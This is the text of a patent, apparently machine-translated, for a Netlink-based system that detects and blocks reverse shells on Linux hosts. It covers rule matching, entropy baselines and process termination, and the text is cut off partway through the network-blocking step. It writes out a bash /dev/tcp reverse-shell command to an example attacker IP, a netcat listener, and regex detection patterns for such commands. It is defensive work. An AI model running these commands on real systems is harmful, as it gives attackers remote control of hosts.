Rebound shell detection response system and method, medium and product

Abstract

The invention relates to the technical field of network security, and discloses a rebound shell detection response system and method, a medium and a product, and the method obtains tetrad information, a process parameter set and a process behavior chain in real time through Netlink, avoids missing detection caused by short process injection time, and reduces system resource occupation; a probability distribution table is constructed in the process training module to serve as a dynamic baseline, so that false alarms caused by baseline stiffness are reduced; in the engine analysis module, the characteristics and behaviors of the host layer process are analyzed in combination with a probability distribution table, and whether the host layer process is a rebound shell process or not is judged, so that the problems that traditional rule detection is easy to bypass and encrypted traffic cannot be identified are solved, and false alarms and missing alarms are reduced; the multi-dimensional depth defense principle is combined in the dynamic response module, the rebound shell process can be thoroughly eradicated, the problems that traditional detection response is delayed and blocking is not thorough are solved, and the real-time performance, the accuracy and the rapid blocking performance of rebound shell detection are improved.

Description

TECHNICAL FIELD

[0001] The present application relates to the technical field of network security, and particularly relates to a detection and response system and method for a reverse shell, a medium and a product. BACKGROUND

[0002] In the field of network security, a reverse shell is a common network attack technology with high concealment. After a network attacker successfully intrudes a target system through a vulnerability (such as an operating system vulnerability or a web application vulnerability), the attacker usually injects a reverse shell into the system. Through the reverse shell, the attacker can bypass security measures such as a firewall and directly perform remote connection with the system, thereby obtaining higher control. Using a reverse shell can perform remote control, lateral movement and persistent backdoor, and has great harmfulness. Common attack methods include: an attacker executes system commands or uploads malicious files through SQL injection, command injection and other vulnerabilities; an attacker injects a reverse shell into a system and executes it through a remote code execution vulnerability.

[0003] For detection of a reverse shell, when an attacker uses encrypted connections and hidden commands, the attacker's activities are more difficult to detect and track, and therefore the detection technology for a reverse shell is particularly important. Existing reverse shell detection includes traditional log analysis, which mainly relies on post-audit and cannot obtain the state of a process, cannot block attacks in real time, and has vulnerabilities and response delays; traffic feature matching, which is based on fixed rules for detection and is easily bypassed by attackers and is helpless in the face of encrypted traffic; and periodic process detection, which is used for most reverse shell detection, has poor real-time performance, lacks network connection context, and has a very high false positive rate. SUMMARY

[0004] Therefore, the present application provides a detection and response system and method for a reverse shell, a medium and a product to solve the problems of low real-time performance, accuracy and rapid blocking of existing reverse shell detection methods.

[0005] In a first aspect, the present application provides a detection and response system for a reverse shell for a target host, which includes a data acquisition module, a process training module, an engine analysis module and a dynamic response module.

[0006] The data acquisition module is configured to acquire real-time four-tuple information, real-time process parameter set and real-time process behavior chain of the host layer process of the target host through Netlink, and send the real-time four-tuple information, the real-time process parameter set and the real-time process behavior chain to the engine analysis module; the process training module is configured to construct a probability distribution table based on a plurality of historical process behavior chains, and send the probability distribution table to the engine analysis module; the engine analysis module is configured to analyze the characteristics and behaviors of the host layer process based on the probability distribution table, the real-time four-tuple information, the real-time process parameter set and the real-time process behavior chain, and determine whether the host layer process is a bounce shell process, and send a first control instruction to the dynamic response module when the host layer process is the bounce shell process; and the dynamic response module is configured to eradicate the bounce shell process based on the first control instruction and the multi-dimensional in-depth defense principle.

[0007] The bounce shell detection and response system provided by the application acquires real-time four-tuple information, process parameter set and process behavior chain through Netlink in real time, replaces the traditional periodic traversal mode, avoids missed detection caused by short process injection time, and reduces system resource occupation. Further, the probability distribution table is constructed as a dynamic baseline in the process training module, which avoids the problem that the traditional fixed rule library cannot adapt to system changes and reduces false positives caused by rigid baselines. Further, in the engine analysis module, the characteristics and behaviors of the host layer process are analyzed based on the probability distribution table, the acquired four-tuple information, process parameter set and process behavior chain, and whether the host layer process is a bounce shell process is determined, which solves the problems that the traditional rule detection is easy to be bypassed and encrypted traffic cannot be identified, and reduces false positives and missed detection. Further, in the dynamic response module, the bounce shell process is eradicated based on the multi-dimensional in-depth defense principle, which can completely eradicate the bounce shell process and solve the problems of traditional detection and response delay and incomplete blocking. Therefore, by implementing the application, the real-time performance, accuracy and rapid blocking performance of bounce shell detection are improved.

[0008] In an alternative embodiment, the data acquisition module comprises a first acquisition submodule and a second acquisition submodule.

[0009] The first acquisition submodule is configured to acquire a plurality of real-time TCP connection events of the target host through a Netlink interface, acquire real-time four-tuple information and real-time process parameter set of the host layer process according to the plurality of real-time TCP connection events, and send the real-time four-tuple information and the real-time process parameter set to the second acquisition submodule; and the second acquisition submodule is configured to acquire a process behavior event stream through a Netlink socket based on the real-time four-tuple information and the real-time process parameter set, and abstract a five-tuple action sequence from a socket life cycle and construct a real-time process behavior chain according to a plurality of kernel actions of the bounce shell process.

[0010] The detection and response system of the reverse shell provided by the application acquires TCP connection events in real time through a Netlink interface in the first acquisition submodule, ensures the real-time performance of the four-tuple information and the process parameters, avoids the delay problem of the traditional polling mechanism, and solves the problem of missed detection of malicious processes injected quickly.

[0011] In an optional embodiment, the engine analysis module comprises:

[0012] The feature analysis submodule is configured to analyze the features of the host layer process by using the real-time four-tuple information and the real-time process parameter set, determine whether the host layer process is a reverse shell process, and send a first control instruction to the dynamic response module when the host layer process is a reverse shell process.

[0013] In the feature analysis submodule, the real-time four-tuple information and the process parameters are used to preferentially identify the known reverse shell features through rule matching, thereby shortening the detection period and achieving preliminary and rapid screening.

[0014] In an optional embodiment, the feature analysis submodule comprises a white list analysis unit, a black list analysis unit, and a rule analysis unit.

[0015] The whitelist analysis unit is configured to match the process hash value in the real-time process parameter set with preset process whitelist hash values and send a second control instruction to the blacklist analysis unit when the matching fails; the blacklist analysis unit is configured to match the process hash value with preset malicious process blacklist hash values based on the second control instruction and send a third control instruction to the whitelist analysis unit when the matching fails; the whitelist analysis unit is further configured to match the source IP address in the real-time four-tuple information with a preset IP address library based on the third control instruction and send a fourth control instruction to the blacklist analysis unit when the matching fails; the blacklist analysis unit is further configured to match the source IP address with a preset threat intelligence library based on the fourth control instruction and send a fifth control instruction to the rule analysis unit when the matching fails; the rule analysis unit is configured to perform feature matching on the host layer process by using the real-time process parameter set according to preset multiple rules based on the fifth control instruction, and perform risk weighting on the host layer process when the matching succeeds to obtain a risk weighting value; and the rule analysis unit is further configured to compare the risk weighting value with a first preset threshold value, and determine that the host layer process is a reverse shell process when the risk weighting value is greater than or equal to the first preset threshold value.

[0016] The detection and response system for the reverse shell provided by the application excludes trusted processes and IPs through the whitelist analysis unit, quickly locates known malicious processes and dangerous IPs in combination with the blacklist analysis unit, reduces the interference of subsequent rule analysis, and reduces the false positive rate. Further, the rule analysis unit performs risk weighting through multi-dimensional features instead of single rule determination, solves the problem that the traditional fixed rule is easy to bypass, and improves the identification ability of the variant reverse shell. Further, the comparison of the risk weighting value and the adjustable threshold value enables the system to adapt to the security requirements of different network environments, and enhances flexibility.

[0017] In an optional implementation, the engine analysis module further includes a behavior analysis submodule.

[0018] The feature analysis submodule is further configured to send a sixth control instruction to the behavior analysis submodule when the host layer process is not a reverse shell process; and the behavior analysis submodule is configured to obtain a dynamic entropy value of the host layer process by processing the process chain entropy value analysis model based on the probability distribution table and the real-time process behavior chain when the sixth control instruction is received; and the behavior analysis submodule is further configured to determine that the host layer process is a reverse shell process and send a first control instruction to the dynamic response module when the dynamic entropy value is greater than or equal to a second preset threshold value.

[0019] The detection and response system of the bounce shell provided by the application solves the problem that traditional feature detection cannot identify encrypted traffic, slow attack, and tunnel bounce shell, etc., by analyzing abnormal behavior patterns through an entropy value model based on a probability distribution table and real-time process behavior chains in the behavior analysis submodule.

[0020] In an optional embodiment, the system is connected with an alarm platform; the system further comprises an alarm module configured to receive the target process parameter set of the bounce shell process, the first control instruction sent by the behavior analysis submodule, and the active interception result sent by the dynamic response module, and send the target process parameter set and the active interception result to the alarm platform based on the first control instruction.

[0021] The detection and response system of the bounce shell provided by the application provides a basis for security audit and attack tracing by recording and obtaining detailed parameters of the bounce shell process and active interception results. Further, by sending the target process parameter set and the active interception result to the alarm platform, it ensures that security incidents are quickly handled, and the attack impact time is shortened.

[0022] In a second aspect, the application provides a detection and response method of a bounce shell, which is used in the detection and response system of the bounce shell of the first aspect or any of the corresponding embodiments thereof, and the detection and response system of the bounce shell is used in a target host; the method comprises:

[0023] The real-time four-tuple information, real-time process parameter set, real-time process behavior chain, and multiple historical process behavior chains of the host layer process of the target host are obtained through Netlink; a probability distribution table is constructed according to the multiple historical process behavior chains; based on the probability distribution table, the characteristics and behaviors of the host layer process are analyzed and it is judged whether the host layer process is a bounce shell process by using the real-time four-tuple information, real-time process parameter set, and real-time process behavior chain; when the host layer process is a bounce shell process, the bounce shell process is eradicated by using the multi-dimensional in-depth defense principle.

[0024] The detection and response method of the bounce shell provided by the application improves the real-time performance, accuracy, and rapid blocking performance of bounce shell detection by using the detection and response system of the bounce shell to detect and respond to bounce shells.

[0025] In an optional embodiment, the detection and response system of the bounce shell is connected with an alarm platform; the method further comprises:

[0026] When the host layer process is a reverse shell process, the target process parameter set and the active interception result of the reverse shell process are acquired; and the target process parameter set and the active interception result are sent to an alarm platform.

[0027] The detection and response method of the reverse shell provided by the application ensures that the security event is quickly handled and the attack influence time is shortened by sending the target process parameter set and the active interception result to the alarm platform.

[0028] In a fourth aspect, the application provides a computer readable storage medium, which stores computer instructions for causing a computer to execute the detection and response method of the reverse shell according to the second aspect or any of the corresponding embodiments thereof.

[0029] In a fifth aspect, the application provides a computer program product, which comprises computer instructions for causing a computer to execute the detection and response method of the reverse shell according to the second aspect or any of the corresponding embodiments thereof. BRIEF DESCRIPTION OF DRAWINGS

[0030] In order to more clearly illustrate the specific embodiments of the application or the technical solutions in the prior art, the drawings needed in the specific embodiments or the prior art description will be briefly introduced as follows. Obviously, the drawings in the following description are some embodiments of the application, and other drawings can be obtained by those skilled in the art without creative labor on the basis of these drawings.

[0031] Figure 1 is a structural block diagram of the detection and response system of the reverse shell according to the embodiments of the application;

[0032] Figure 2 is a schematic diagram of the reverse shell according to the embodiments of the application;

[0033] Figure 3 is a flowchart of the detection and response method of the reverse shell according to the embodiments of the application;

[0034] Figure 4 is a structural diagram of the Netlink reverse shell detection and response device based on entropy value baseline analysis and fuse blocking according to the embodiments of the application;

[0035] Figure 5 is a detection flowchart of the reverse shell according to the embodiments of the application;

[0036] Figure 6 is a hardware structure diagram of the computer device according to the embodiments of the application. DETAILED DESCRIPTION

[0037] In order to make the purposes, technical solutions and advantages of the embodiments of the present application clearer, the technical solutions in the embodiments of the present application will be described clearly and completely below with reference to the drawings in the embodiments of the present application. Obviously, the described embodiments are some of the embodiments of the present application, and not all the embodiments of the present application. Based on the embodiments in the present application, all the other embodiments obtained by those skilled in the art without creative work belong to the scope of protection of the present application.

[0038] For the identification of the reverse shell, network layer detection and host layer detection can be performed. The network layer detection is to monitor the entire network traffic, mainly to identify the active external connection of high-risk ports of the intranet host, and to detect the reverse shell by combining the feature analysis of the traffic. The host layer detection is mainly to monitor the process, to identify the abnormal process chain and to check the file descriptor. The network-based detection has the following disadvantages:

[0039] (1) Encrypted traffic cannot be identified: although the existence of the connection can be detected, the encrypted traffic cannot be identified, and the content of the data cannot be deeply understood;

[0040] (2) False positives and false negatives: the network layer needs to process a large amount of data, which can cause false positives and false negatives;

[0041] (3) There is a risk of being bypassed: the attacker can bypass the network layer monitoring by changing the protocol and commonly used port disguising;

[0042] (4) Cannot be analyzed in detail: the network layer can only monitor at the network level, and cannot understand the specific execution and horizontal movement of the reverse shell inside the host in detail.

[0043] Further, the detection of the host layer, the common methods are log collection, periodic traversal of the process list, periodic traversal of the connection state and eBPF, etc. The methods used here are all rule-based detection. Since the regular matching rule is inherently bypassed, there is a false negative situation:

[0044] (1) Low detection rate of log audit: log audit is to check the sensitive command records of sshd, bash_hisrory or Windows event log. This method has a high false positive and false negative;

[0045] (2) Polling mechanism and user state monitoring hysteresis: Common process monitoring includes ptrace, auditd, TCP traversal, and process list traversal, which have detection delay. Periodic process list traversal is a polling mechanism that requires frequent reading of / proc files, and its real-time performance depends on the traversal period and the number of processes; periodic TCP connection state traversal is also a polling mechanism, and its real-time performance depends on the traversal period and the number of TCP connections; both of these periodic traversal methods have the disadvantages of low real-time performance, easy to miss reports, and high resource occupation. In some server environments with a large number of network connections, network commands such as netstat, lsof, and ss occupy a lot of resources, which can cause the server to crash, and are not suitable for network environments with a large number of network connections;

[0046] (3) eBPF has high complexity and is difficult to maintain: eBPF can monitor system calls, network activity, and process behavior in real time. However, eBPF has high complexity and requires deep kernel knowledge, making it difficult to develop and maintain. Direct interaction with the kernel can easily cause kernel crashes or system security vulnerabilities. Due to the disadvantages of the high kernel, some old systems cannot use this detection method.

[0047] (4) Rules are easily bypassed: Traditional rule engines mainly rely on rule libraries and are difficult to detect complex and hidden attacks. Encryption, variant shells, TCP tunnels, and phased delay attacks cannot be matched by feature matching, often resulting in the inability to detect reverse shells.

[0048] In the present embodiment, a reverse shell detection and response system is provided for a target host. As shown in Figure 1 The reverse shell detection and response system 1 is connected to an alarm platform 2, and the reverse shell detection and response system 1 includes a data acquisition module 11, a process training module 12, an engine analysis module 13, a dynamic response module 14, and an alarm module 15.

[0049] Optionally, the data acquisition module 11 is configured to acquire real-time four-tuple information, real-time process parameter sets, and real-time process behavior chains of host layer processes of the target host through Netlink, and send the real-time four-tuple information, real-time process parameter sets, and real-time process behavior chains to the engine analysis module 13.

[0050] Netlink is a socket interface used to monitor and manage network events in Linux systems.

[0051] Further, the data acquisition module 11 includes a first acquisition sub-module 111 and a second acquisition sub-module 112.

[0052] Specifically, in the first acquisition submodule 111, the target host is obtained through the Netlink interface A plurality of real-time TCP connection events, and the real-time four-tuple information and the real-time process parameter set of the host layer process are obtained according to the plurality of real-time TCP connection events, and the real-time four-tuple information and the real-time process parameter set are sent to the second acquisition submodule 112.

[0053] Wherein, the TCP connection event represents a TCP network connection that is just completed three-way handshake and successfully established between the target host and the outside (such as an attacker server), which is the basic channel for data transmission in the reverse shell attack. In the reverse shell scenario described in the embodiment, the real-time TCP connection event represents that the target host initiates a reverse TCP connection to the IP and port controlled by the attacker after being injected with malicious commands.

[0054] Further, as shown in Figure 2 The establishment process of the TCP connection event is as follows:

[0055] (1) Attacker preparation phase: the attacker starts port listening (such as nc-lvnp4444) on the server under his control, and waits for the connection request of the target host. At this time, the attacker server is in a "passive waiting connection" state.

[0056] (2) The target host is injected with malicious commands: the attacker injects a reverse shell command (such as bash-i>& / dev / tcp / 1.1.1.1 / 4444 0>&1) into the target host through the vulnerability of the target host (such as SQL injection, remote code execution, etc.). The function of the command is:

[0057] a. Make the target host actively initiate TCP connection to the IP (such as 1.1.1.1) and the listening port (such as 4444) of the attacker server;

[0058] b. Redirect the shell session (standard input, output, and error) of the target host to the TCP connection, realizing the remote control of the attacker to the target host.

[0059] (3) TCP connection establishment: after the target host executes the injected malicious command, it actively sends a TCP connection request to the 4444 port of the attacker server, and after three-way handshake, a new TCP connection event is generated. At this time, a two-way communication channel is formed between the attacker server and the target host, and the attacker can send commands and receive execution results through the channel to complete the control link of the reverse shell.

[0060] Further, the four-tuple information represents the core identification of the network connection, which is used to locate both ends of the network connection and clearly "who is communicating with whom", and is the basic information for identifying abnormal network interaction, which can include:

[0061] (1) Source IP address: IP address of the target host (host IP under attack);

[0062] (2) Target IP address: IP address of the server controlled by the attacker;

[0063] (3) Source port: Port on the target host that initiates the TCP connection (random or specific port);

[0064] (4) Target port: Port on the attacker's server that listens.

[0065] Further, the process parameter set represents process details related to the TCP connection, used to bind the network connection to a specific process, solving the problem of "which process is initiating abnormal connections". It can be obtained mainly through kernel files such as / proc / [process ID] / net / tcp, and can include:

[0066] (1) Process ID: Unique identification number of the process executing network connection operations on the target host;

[0067] (2) Process name: Name of the process (such as bash, nc, etc., bash involved in the reverse shell command is of this type);

[0068] (3) Process hash value: Unique hash identification of the process file;

[0069] (4) Start command and parameters: Specific command executed by the process (such as bash -i >& / dev / tcp / 1.1.1.1 / 44440>&1), containing details of the reverse shell instruction injected by the attacker.

[0070] Further, the process behavior chain represents a five-tuple action sequence abstracted from the process behavior event stream based on the socket lifecycle of the process, specifically:

[0071] P = {a1: socket_create, a2: bind, a3: listen, a4: accept, a5: exec}

[0072] Wherein, a1: socket_create represents the process creating a socket (the starting point of network communication); a2: bind represents binding the socket to a local port (determining the communication endpoint of the target host); a3: listen represents the socket entering a listening state (waiting for external connections, commonly used in server processes); a4: accept represents accepting external connection requests (establishing an actual connection with the attacker's server); a5: exec represents executing a shell command (the key action of the reverse shell, transferring terminal control of the target host to the attacker).

[0073] Specifically, the first collection submodule 111 can listen to all newly established TCP connection events on the target host in real time through the Netlink interface of the Linux kernel.

[0074] Among them, the Netlink interface directly interacts with the kernel, can capture events at the moment of connection establishment, and avoid the delay caused by traditional periodic traversal (such as netstat, lsof command).

[0075] Further, the real-time four-tuple information (source IP, target IP, source port, and destination port) can be parsed from the captured TCP connection event.

[0076] Further, according to the TCP connection event associated with the corresponding host layer process, and through the / proc / [process ID] / net / tcp and other kernel files, the real-time process parameter set of the host layer process can be obtained.

[0077] Further, the real-time four-tuple information and the real-time process parameter set obtained are sent to the second collection submodule 112.

[0078] Further, the TCP connection event is obtained in real time through the Netlink interface, which ensures the real-time of the four-tuple information and the process parameters, avoids the delay problem of the traditional polling mechanism, and solves the problem of missing detection of malicious processes injected quickly.

[0079] Further, in the second collection submodule 112, based on the real-time four-tuple information and the real-time process parameter set, the process behavior event stream is obtained through the Netlink socket, and according to the multiple kernel actions of the rebound shell process, the socket life cycle is abstracted as a five-tuple action sequence and a real-time process behavior chain is constructed.

[0080] Among them, the Netlink socket represents an interface mechanism for real-time communication between the Linux system kernel and the user state process, and is specially used for monitoring and managing network events and process behaviors of the host layer.

[0081] Specifically, when the second collection submodule 112 receives the real-time four-tuple information and the real-time process parameter set, the specific TCP connection (for example, the reverse connection of the target host and the attacker server 1.1.1.1:4444) currently needs to be monitored can be locked through the real-time four-tuple information (source IP, target IP, source port, and destination port).

[0082] Further, the process ID, process name, and other identifiers (such as the bash process executing bash-i>& / dev / tcp / 1.1.1.1 / 4444) in the real-time process parameter set can be combined to explicitly identify the initiating process corresponding to the TCP connection, ensuring that subsequent behavior capture is only for the target process, avoiding confusion with the network behavior of other processes.

[0083] Further, for the above-mentioned locked target process, all kernel action events related to socket (socket) can be monitored and captured in real time through the Netlink socket, forming a process behavior event stream.

[0084] For example, the above-mentioned events are recorded in chronological order and can include: process socket creation (socket_create), socket binding to local port (bind), socket entering listening state (listen), accepting external connection request (accept), executing shell command (exec), etc.

[0085] Further, the core actions related to the socket life cycle can be extracted from the process behavior event stream, and five kernel actions that are critical to detecting a rebound shell are selected: a1: socket_create, a2: bind, a3: listen, a4: accept, and a5: exec. These five kernel actions are arranged in chronological order to form a five-tuple action sequence that can completely cover the socket life cycle from creation to completion of malicious interaction.

[0086] Further, the obtained five-tuple action sequence is combined according to the actual occurrence order to form a real-time process behavior chain corresponding to the target process.

[0087] Optionally, the process training module 12 is configured to construct a probability distribution table based on a plurality of historical process behavior chains, and send the probability distribution table to the engine analysis module 13.

[0088] The probability distribution table is used to reflect the "action frequency that should appear" of different types of processes in network interaction, and is a normal behavior baseline for determining whether a process behavior is abnormal.

[0089] Specifically, in a secure and controllable environment (such as an unattacked production environment or a simulated environment), a large amount of complete behavior data of normal processes (such as legal web service processes, system processes, etc.) is continuously captured through the Netlink interface using the data acquisition module 11, and the historical process behavior chain of each process from startup to exit is extracted. The specific process can refer to the function description of the data acquisition module 11 described above, which will not be repeated here.

[0090] In some optional embodiments, 100,000 process behavior chains are collected in a secure environment through Netlink. Each chain records the complete action sequence of a process from startup to exit.

[0091] Further, each historical process behavior chain can be parsed and disassembled into discrete actions (such as socket_create, exec, etc.), and the process type to which the action belongs (such as network service process, shell process, system process, etc.) is labeled.

[0092] For example, the listen and accept actions in the behavior chain of a web service process (such as Nginx) occur frequently, while the exec action rarely occurs; while a normal shell process (such as a user manually executed bash) may occasionally have an exec action, but will not establish a connection with an external high-risk IP.

[0093] Further, for each type of process, the number of occurrences of each action a i in all behavior chains of this type of process, and the probability P(a i ) is calculated according to the following relationship (1):

[0094]

[0095] Further, a corresponding probability distribution table is constructed, as shown in Table 1 below:

[0096] Table 1, Probability Distribution Table

[0097]

[0098]

[0099] Further, by constructing a probability distribution table in the process training module as a dynamic baseline, the problem of the traditional fixed rule library being unable to adapt to system changes is avoided, and false positives caused by rigid baselines are reduced.

[0100] Further, the constructed probability distribution table is sent to the engine analysis module 13.

[0101] Optionally, the engine analysis module 13 is configured to analyze the characteristics and behavior of the host layer process based on the probability distribution table, using real-time four-tuple information, real-time process parameter sets, and real-time process behavior chains, and determine whether the host layer process is a reverse shell process, and when the host layer process is a reverse shell process, send a first control instruction to the dynamic response module 14.

[0102] The engine analysis module 13 includes a feature analysis submodule 131 and a behavior analysis submodule 132.

[0103] Optionally, the feature analysis submodule 131 is configured to analyze the feature of the host layer process by using the real-time four-tuple information and the real-time process parameter set, and determine whether the host layer process is a reverse shell process, and send a first control instruction to the dynamic response module 14 when the host layer process is a reverse shell process.

[0104] The feature analysis submodule 131 includes a white list analysis unit 1311, a black list analysis unit 1312, and a rule analysis unit 1313.

[0105] Firstly, in the white list analysis unit 1311, the process hash value in the real-time process parameter set is matched with the preset process white list hash value, and a second control instruction is sent to the black list analysis unit 1312 when the matching fails.

[0106] Specifically, the process hash value (such as the unique identifier of the process file) in the real-time process parameter set is matched with the preset process white list hash value.

[0107] Further, if the matching succeeds, the current host layer process is determined to be a safe process, and the detection is directly ended at this time to avoid misjudgment of normal processes.

[0108] Further, if the matching fails, the current host layer process is determined to be possibly an unsafe process, and needs to be further determined, and a second control instruction is sent to the black list analysis unit 1312.

[0109] Secondly, in the black list analysis unit 1312, based on the second control instruction, the process hash value is matched with the preset malicious process black list hash value, and a third control instruction is sent to the white list analysis unit 1311 when the matching fails.

[0110] Specifically, after the black list analysis unit 1312 receives the second control instruction, the process hash value is matched with the preset malicious process black list hash value under the control of the second control instruction.

[0111] Further, if the matching succeeds, the current host layer process is determined to be possibly an unsafe process, i.e., a reverse shell process, and a first control instruction is sent to the dynamic response module 14.

[0112] Further, if the matching fails, the current host layer process is determined to be possibly a safe process, and needs to be further determined, and a third control instruction is sent to the white list analysis unit 1311.

[0113] Then, in the white list analysis unit 1311, based on the third control instruction, the source IP address in the real-time four-tuple information is matched with the preset IP address library, and a fourth control instruction is sent to the black list analysis unit 1312 when the matching fails.

[0114] Specifically, when the whitelist analysis unit 1311 receives the third control instruction, the source IP address in the real-time four-tuple information is extracted under the control of the third control instruction, and the extracted source IP address is matched with the preset IP address library.

[0115] Further, if the matching is successful, it is determined that the current host layer process is a dangerous connection process, i.e., a reverse shell process, at which time the first control instruction is sent to the dynamic response module 14.

[0116] Further, if the matching fails, it is determined that the current host layer process is likely to be a safe process, which needs to be further determined, at which time the fourth control instruction is sent to the whitelist analysis unit 1311.

[0117] Further, in the blacklist analysis unit 1312, based on the fourth control instruction, the source IP address is matched with the preset threat intelligence library, and when the matching fails, the fifth control instruction is sent to the rule analysis unit 1313.

[0118] Specifically, when the blacklist analysis unit 1312 receives the fourth control instruction, the source IP address is matched with the preset threat intelligence library under the control of the fourth control instruction.

[0119] Further, if the matching is successful, it is determined that the current host layer process is a dangerous connection process, i.e., a reverse shell process, at which time the first control instruction is sent to the dynamic response module 14.

[0120] Further, if the matching fails, it is determined that the current host layer process is likely to be a safe process, which needs to be further determined, at which time the fifth control instruction is sent to the rule analysis unit 1313.

[0121] Finally, in the rule analysis unit 1313, based on the fifth control instruction, the real-time process parameter set is matched with the host layer process according to the preset plurality of rules, and when the matching is successful, the risk weighting of the host layer process is performed to obtain a risk weighting value.

[0122] Specifically, when the rule analysis unit 1313 receives the fifth control instruction, the real-time process parameter set obtained, such as the process name, the process startup parameter, the process connection port (high-risk port 4444, 6666), etc., can be matched according to the respective rules, such as bash bounce and nc bounce, under the control of the fifth control instruction. The rules are as follows:

[0123] patterns=[

[0124] r"bash\s+-i\s+>&\s+ / dev / tcp / ",

[0125] r"nc\s+-e\s+ / bin / (bash|sh)",

[0126] …

[0127] Wherein, "bash\s+-i\s+>&\s+ / dev / tcp / " represents a regular expression of a bash reverse shell attack, that is, a reverse TCP connection is established through bash to give the control of the terminal to the attacker.

[0128] Further, "nc\s+-e\s+ / bin / (bash|sh)" represents a regular expression of a Netcat reverse shell attack, that is, / bin / bash or / bin / sh is executed by using the -e parameter of Netcat to realize an interactive shell connection.

[0129] Further, if the rule is hit, that is, a match is successful, the process is first weighted for risk, and then the process information is further analyzed, such as parent process detection, checking whether the parent process of the shell process is a web service (such as Nginx, Apache, and the like) or a scheduled task (such as Cron); process file descriptor checking, checking whether the standard input, output is redirected to a socket by checking / proc / [process ID] / fd. If the analysis meets the conditions, the risk weighting value is calculated.

[0130] For example, the risk weighting is dynamically calculated based on multi-dimensional characteristics, and the main factors and default weights are shown in Table 2:

[0131] Table 2, main factors and default weights of risk weighting

[0132]

[0133] Further, the weighting calculation process is as follows: the initial weight is 1 if the basic rule such as r"bash\s+-i\s+>&\s+ / dev / tcp / " is hit, and additional weights are added, such as total weight = rule hit (1.0) + high-risk port (0.3) + parent process exception (0.5) + file descriptor redirection (0.4) = 2.2.

[0134] Further, in the rule analysis unit 1313, the risk weighting value is compared with the first preset threshold, and when the risk weighting value is greater than or equal to the first preset threshold, the host layer process is determined to be a reverse shell process.

[0135] Specifically, the first preset threshold can be set to 1.5 according to experience, or the first preset threshold can be dynamically adjusted.

[0136] Further, if the risk weighted value is compared with the first preset threshold value: if the risk weighted value is greater than or equal to the first preset threshold value, it is determined that the current host layer process is an unsafe rebound shell process, at this time, the first control instruction is sent to the dynamic response module 14.

[0137] Optionally, the feature analysis submodule 131 is further configured to send a sixth control instruction to the behavior analysis submodule when the host layer process is not a rebound shell process.

[0138] Specifically, when the risk weighted value in the rule analysis unit 1313 is less than the first preset threshold value, it is determined that the current host layer process is not a rebound shell process, and may be a safe process, which needs to be further determined, at this time, the sixth control instruction is sent to the behavior analysis submodule 132.

[0139] Further, the behavior analysis submodule 132 is configured to, when receiving the sixth control instruction, obtain a dynamic entropy value of the host layer process based on a probability distribution table and a real-time process behavior chain through a process chain entropy value analysis model.

[0140] Specifically, the dynamic entropy value of the host layer process can be calculated according to the probability distribution table (normal process behavior baseline) and the real-time process behavior chain (five-tuple action sequence) through the process chain entropy value analysis model shown in the following relationship (2):

[0141] E = -∑[P(a i ) × log P(a i )] × T_delay(a i ) (2)

[0142] In the formula, E represents the dynamic entropy value; P(a i ) represents the probability of the action a i appearing in the historical baseline in the probability distribution table shown in Table 1; and T_delay(a i ) represents a delay penalty factor, as shown in the following relationship (3):

[0143] T_delay(a i ) = 1 + 0.02 × (Δt-50) (3)

[0144] In order to solve the detection of hacker slow attack, in the embodiment, the time interval of the execution of accept to exec is intentionally prolonged, the action delay penalty coefficient is used, and when the delay time is greater than 50 milliseconds, T_delay(a i ) is used as the action delay penalty coefficient.

[0145] Further, the whitelist analysis unit excludes trusted processes and IPs, and the blacklist analysis unit quickly locates known malicious processes and dangerous IPs, reducing interference in subsequent rule analysis and reducing false positive rates. Further, the rule analysis unit performs risk weighting based on multi-dimensional features, rather than single rule determination, solving the problem of traditional fixed rules being easily bypassed and improving the ability to identify variant rebound shells. Further, by comparing the risk weighting value with the adjustable threshold value, the system can adapt to the security needs of different network environments, enhancing flexibility.

[0146] Further, the behavior analysis submodule 132 is further configured to determine that the host layer process is a rebound shell process and send a first control instruction to the dynamic response module 14 when the dynamic entropy value is greater than or equal to a second preset threshold value.

[0147] Specifically, the calculated dynamic entropy value E is compared with the second preset threshold value θ.

[0148] Further, if the dynamic entropy value E is less than the second preset threshold value θ, it indicates that the behavior characteristics do not meet the rebound shell behavior determination, i.e., the current host layer process can be finally determined to be a safe process, not a rebound shell process.

[0149] Further, if the dynamic entropy value E is greater than or equal to the second preset threshold value θ, it indicates that the behavior characteristics meet the rebound shell behavior determination, i.e., the current host layer process can be determined to be a rebound shell process.

[0150] Further, when the current host layer process is determined to be a rebound shell process, the rebound shell process needs to be processed, at which time a first control instruction is sent to the dynamic response module 14.

[0151] Further, based on the probability distribution table and the real-time process behavior chain, the entropy value model is used to analyze abnormal behavior patterns, solving the problem of traditional feature detection such as encrypted traffic, slow attacks, and tunnel-type rebound shells that cannot be identified. Further, in combination with the probability distribution table (normal behavior baseline) of the process training module, the entropy value calculation can dynamically adapt to system behavior changes, avoiding false negatives caused by fixed baselines.

[0152] Optionally, the dynamic response module 14 is configured to eradicate the rebound shell process based on the first control instruction using multi-dimensional defense-in-depth principles.

[0153] The multi-dimensional defense-in-depth principle means that by simultaneously acting on different levels (memory, process, network) of the system, a defense system is formed that is mutually complementary and progressive, which can ensure the eradication of rebound shell processes in all directions and without dead angles.

[0154] Specifically, after the dynamic response module 14 receives the first control instruction, under the control of the first control instruction, the multi-dimensional in-depth defense principle is adopted to realize the complete eradication of the malicious process by the cooperative operation from the three levels of memory, process and network, and the specific steps are as follows:

[0155] (1) Memory level fuse: lock the process memory area.

[0156] Specifically, the system call mprotect is called to set the memory page occupied by the reverse shell process to PROT_NONE (not accessible).

[0157] Further, by prohibiting any read, write and execution operations on the memory area, the malicious code is prevented from further loading or execution, and the process is prevented from leaking sensitive data (such as system configuration, user information), thereby achieving the cutting off of the code execution path of the attack from the memory level.

[0158] (2) Process level fuse: cut off the process blood relationship.

[0159] Specifically, the parent process of the reverse shell process (such as the intruded web service process Nginx, the scheduled task process Cron, etc.) is located, and a SIGKILL signal (forced termination signal) is sent to the parent process.

[0160] Further, by terminating the parent process, the blood chain of the malicious process is completely cut off, and the reverse shell process is prevented from reviving through child processes and threads (such as the attacker using the process fork mechanism to rebuild the connection), thereby achieving the eradication of the survival basis of the attack from the process level.

[0161] (3) Network level fuse: block MAC layer communication.

[0162] Specifically, the ebtables tool (MAC layer firewall in Linux kernel) is called to block the network connection involved in the reverse shell process at the data link layer, and record and block the communication between the source MAC address and the target MAC address.

